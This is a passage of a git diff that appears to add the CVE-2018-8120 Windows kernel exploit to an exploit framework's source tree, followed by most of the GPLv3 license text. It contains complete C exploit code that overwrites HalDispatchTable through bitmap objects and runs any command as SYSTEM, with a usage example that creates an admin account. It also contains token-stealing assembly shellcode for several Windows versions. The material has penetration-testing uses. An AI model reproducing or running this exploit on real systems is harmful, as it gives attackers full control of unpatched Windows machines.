puts("CVE-2018-8120 exploit by @unamer(https://github.com/unamer)"); + fflush(stdout); + if (argc != 2) + { + puts("Usage: exp.exe command\nExample: exp.exe \"net user admin admin /ad\""); + fflush(stdout); + ExitProcess(0); + } + + HMODULE hntdll = GetModuleHandle(L"ntdll"); + PVOID overwrite_address; + int overwrite_offset; + ULONG Interval = 0; + PVOID sc=0; + + OSVERSIONINFOW osver; + RtlSecureZeroMemory(&osver, sizeof(osver)); + osver.dwOSVersionInfoSize = sizeof(osver); + RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(hntdll, "RtlGetVersion"); + pRtlGetVersion(&osver); + if (osver.dwMajorVersion == 5) { +#ifdef _WIN64 + g_EPROCESS_TokenOffset = 0x160; + g_EPROCESS = 0x68; + g_flink = 0xe0; + g_PID = 0xd8; + g_kthread = 0x188; +#else + g_EPROCESS_TokenOffset = 0xd8; + g_EPROCESS = 0x38; + g_flink = 0x098; + g_PID = 0x94; + g_kthread = 0x124; +#endif + } + else if (osver.dwMajorVersion == 6) { +#ifdef _WIN64 + gTableOffset = 0x0f8; + if (osver.dwMinorVersion == 0)//win2008 + { + overwrite_address = (char*)leakHal(); // HalDispatchTable + overwrite_offset = 0x8; // QueryIntervalProfile + sc = &shellcode08; + g_EPROCESS_TokenOffset = 0x168; + g_EPROCESS = 0x68; + g_flink = 0xe0; + g_PID = 0xe8; + g_kthread = 0x188; + } + else + {//win7 + overwrite_address = (char*)leakHal(); // HalDispatchTable + overwrite_offset = 0x8; // QueryIntervalProfile + sc = &shellcode7; + g_EPROCESS_TokenOffset = 0x208; + g_EPROCESS = 0x70; + g_flink = 0x188; + g_PID = 0x180; + g_kthread = 0x188; + } + +#else + gTableOffset = 0x094; + if (osver.dwMinorVersion == 0)//win2008 + { + overwrite_address = (char*)leakHal(); // HalDispatchTable + overwrite_offset = 0x4; // QueryIntervalProfile + gSyscall = 0x121b; + g_EPROCESS_TokenOffset = 0xe0; + g_EPROCESS = 0x48; + g_flink = 0xa0; + g_PID = 0x9c; + g_kthread = 0x124; + } + else + {//win7 + overwrite_address = (char*)leakHal(); // HalDispatchTable + overwrite_offset = 0x4; // QueryIntervalProfile + gSyscall = 0x1226; + g_EPROCESS_TokenOffset = 0xf8; + g_EPROCESS = 0x50; + g_flink = 0xb8; + g_PID = 0xb4; + g_kthread = 0x124; + } +#endif + } + else + { + printf("[-] Not supported version %d\n", osver.dwBuildNumber); + ExitProcess(-1); + } + + + + _NtAllocateVirtualMemory NtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress((HMODULE)hntdll,"NtAllocateVirtualMemory"); + + PVOID addr = (PVOID)0x100; + DT size = 0x1000; + + + if (!NtAllocateVirtualMemory) { + printf("[-] Fail to resolve NtAllocateVirtualMemory(0x%X)\n", GetLastError()); + fflush(stdout); + ExitProcess(1); + } + + if (NtAllocateVirtualMemory(GetCurrentProcess(), &addr, 0, &size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) + { + puts("[-] Fail to alloc null page!"); + fflush(stdout); + ExitProcess(2); + } + + HWINSTA hSta = CreateWindowStationW(0, 0, READ_CONTROL, 0); + + if (!hSta) + { + printf("[-] CreateWindowStationW fail(0x%X)\n", GetLastError()); + fflush(stdout); + ExitProcess(3); + } + + if (!SetProcessWindowStation(hSta)) + { + printf("[-] SetProcessWindowStation fail(0x%X)\n", GetLastError()); + fflush(stdout); + ExitProcess(4); + } + unsigned int bbuf[0x60] = {0x90}; + //RtlSecureZeroMemory(bbuf, 0x60); + HANDLE gManger = CreateBitmap(0x60, 1, 1, 32, bbuf); + HANDLE gWorker = CreateBitmap(0x60, 1, 1, 32, bbuf); + + PVOID mpv = getpvscan0(gManger); + PVOID wpv = getpvscan0(gWorker); + +#ifndef _WIN64 + printf("[+] Get manager at %lx,worker at %lx\n", mpv, wpv); + P_tagKL pkl = 0; + pkl->hkl = (HKL__ *)wpv; + pkl->piiex = (tagIMEINFOEX *)((char*)mpv - sizeof(PVOID)); + + IMEINFOEX ime; + RtlSecureZeroMemory(&ime, sizeof(IMEINFOEX)); +#else + printf("[+] Get manager at %llx,worker at %llx\n", mpv, wpv); + char* pkl = 0; + *(DT*)(pkl + 0x28) = (DT)wpv; + *(DT*)(pkl + 0x50) = (DT)mpv - sizeof(PVOID); + + char ime[0x200]; + RtlSecureZeroMemory(&ime, 0x200); +#endif // _WIN32 + fflush(stdout); + // Initialize exploit parameters + + PVOID *p = (PVOID *)&ime; + p[0] = (PVOID)wpv; + p[1] = (PVOID)wpv; + DWORD *pp = (DWORD *)&p[2]; + pp[0] = 0x180; + pp[1] = 0xabcd; + pp[2] = 6; + pp[3] = 0x10000; +#ifndef _WIN64 + pp[5] = 0x4800200; +#else + pp[6] = 0x4800200; +#endif // _WIN32 + // trigger vuln + // bp win32k!SetImeInfoEx + // bp win32k!NtUserSetImeInfoEx + // modify the pvscan0 of manager! + + puts("[+] Triggering vulnerability..."); + fflush(stdout); + fflush(stderr); + NtUserSetImeInfoEx((PVOID)&ime); + + PVOID oaddr = ((char*)overwrite_address + overwrite_offset); +#ifndef _WIN64 + sc = &shellcode; + printf("[+] Overwriting...%lx\n", oaddr); +#else + printf("[+] Overwriting...%llx\n", oaddr); +#endif // _WIN32 + fflush(stdout); + + PVOID pOrg = 0; + + SetBitmapBits((HBITMAP)gManger, sizeof(PVOID), &oaddr); + GetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg); + SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &sc); + + + NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hntdll, "NtQueryIntervalProfile"); + + if (!NtQueryIntervalProfile) { + fflush(stdout); + fflush(stderr); + printf("[-] Fail to resolve NtQueryIntervalProfile(0x%X)\n", GetLastError()); + ExitProcess(2); + } + puts("[+] Elevating privilege..."); + NtQueryIntervalProfile(0x1337, &Interval); + puts("[+] Cleaning up..."); + SetBitmapBits((HBITMAP)gWorker, sizeof(PVOID), &pOrg); + SECURITY_ATTRIBUTES sa; + HANDLE hRead, hWrite; + byte buf[40960] = { 0 }; + STARTUPINFOW si; + PROCESS_INFORMATION pi; + DWORD bytesRead; + RtlSecureZeroMemory(&si, sizeof(si)); + RtlSecureZeroMemory(&pi, sizeof(pi)); + RtlSecureZeroMemory(&sa, sizeof(sa)); + int br = 0; + sa.nLength = sizeof(SECURITY_ATTRIBUTES); + sa.lpSecurityDescriptor = NULL; + sa.bInheritHandle = TRUE; + if (!CreatePipe(&hRead, &hWrite, &sa, 0)) + { + fflush(stdout); + fflush(stderr); + ExitProcess(5); + } + wprintf(L"[+] Trying to execute %s as SYSTEM...\n", argv[1]); + si.cb = sizeof(STARTUPINFO); + GetStartupInfoW(&si); + si.hStdError = hWrite; + si.hStdOutput = hWrite; + si.wShowWindow = SW_HIDE; + si.lpDesktop = L"WinSta0\\Default"; + si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; + wchar_t cmd[4096] = { 0 }; + lstrcpyW(cmd, argv[1]); + if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) + { + fflush(stdout); + fflush(stderr); + CloseHandle(hWrite); + CloseHandle(hRead); + wprintf(L"[-] CreateProcessW failed![%p]\n", GetLastError()); + ExitProcess(6); + } + CloseHandle(hWrite); + printf("[+] Process created with pid %d!\n", pi.dwProcessId); + while (1) + { + if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL)) + break; + br += bytesRead; + } + // HANDLE h = GetStdHandle(STD_OUTPUT_HANDLE); + // WriteConsoleA(h, buf, br, &bytesRead, 0); + puts((char*)buf); + fflush(stdout); + fflush(stderr); + CloseHandle(hRead); + CloseHandle(pi.hProcess); +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2018-8120/CVE-2018-8120/shellcode.asm b/external/source/exploits/CVE-2018-8120/CVE-2018-8120/shellcode.asm new file mode 100755 index 0000000000..75a1c027d4 --- /dev/null +++ b/external/source/exploits/CVE-2018-8120/CVE-2018-8120/shellcode.asm @@ -0,0 +1,70 @@ + +public shellcode08 +public shellcode7 +public shellcode03 +public NtUserSetImeInfoEx +_TEXT SEGMENT +NtUserSetImeInfoEx PROC + mov r10,rcx; + mov eax,4871; + syscall; + ret; +NtUserSetImeInfoEx ENDP + +shellcode08 PROC + mov rax, gs:[392];// Get nt!_KPCR.PcrbData.CurrentThread + mov rax, [rax + 104];// Get nt!_KTHREAD.ApcState.Process + mov rcx, rax;// Copy current _EPROCESS structure + mov rdx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4 + mov rdi, 232; + SearchSystemPID: + mov rax, [rax + rdi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink + sub rax, rdi; + cmp [rax + 224], rdx;// Get nt!_EPROCESS.UniqueProcessId + jne SearchSystemPID + + mov rdx, [rax + 360];// Get SYSTEM process nt!_EPROCESS.Token + mov [rcx + 360], rdx;// Copy nt!_EPROCESS.Token of SYSTEM to current process + xor rax, rax;// Set NTSTATUS SUCCEESS + ret; +shellcode08 ENDP + +shellcode7 PROC + mov rax, gs:[392];// Get nt!_KPCR.PcrbData.CurrentThread + mov rax, [rax + 112];// Get nt!_KTHREAD.ApcState.Process + mov rcx, rax;// Copy current _EPROCESS structure + mov rdx, 4;// WIN 7 SP1 SYSTEM Process PID = 0x4 + mov rdi, 392; + SearchSystemPID: + mov rax, [rax + rdi];// Get nt!_EPROCESS.ActiveProcessLinks.Flink + sub rax, rdi; + cmp [rax + 384], rdx;// Get nt!_EPROCESS.UniqueProcessId + jne SearchSystemPID + + mov rdx, [rax + 520];// Get SYSTEM process nt!_EPROCESS.Token + mov [rcx + 520], rdx;// Copy nt!_EPROCESS.Token of SYSTEM to current process + xor rax, rax;// Set NTSTATUS SUCCEESS + ret; +shellcode7 ENDP + +shellcode03 PROC + mov rax, gs:[392];// Get nt!_KPCR.PcrbData.CurrentThread + mov rax, [rax + 104];// Get nt!_KTHREAD.ApcState.Process + mov rcx, rax;// Copy current _EPROCESS structure + mov rdx, 4;// SYSTEM Process PID = 0x4 + mov rdi, 224;// Get nt!_EPROCESS.ActiveProcessLinks.Flink + SearchSystemPID: + mov rax, [rax + rdi]; + sub rax, rdi; + cmp [rax + 216], rdx;// Get nt!_EPROCESS.UniqueProcessId + jne SearchSystemPID + + mov rdx, [rax + 352];// Get SYSTEM process nt!_EPROCESS.Token + mov [rcx + 352], rdx;// Copy nt!_EPROCESS.Token of SYSTEM to current process + xor rax, rax;// Set NTSTATUS SUCCEESS + ret; +shellcode03 ENDP + +_TEXT ENDS + +END \ No newline at end of file diff --git a/external/source/exploits/CVE-2018-8120/LICENSE b/external/source/exploits/CVE-2018-8120/LICENSE new file mode 100755 index 0000000000..94a9ed024d --- /dev/null +++ b/external/source/exploits/CVE-2018-8120/LICENSE @@ -0,0 +1,674 @@ + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL 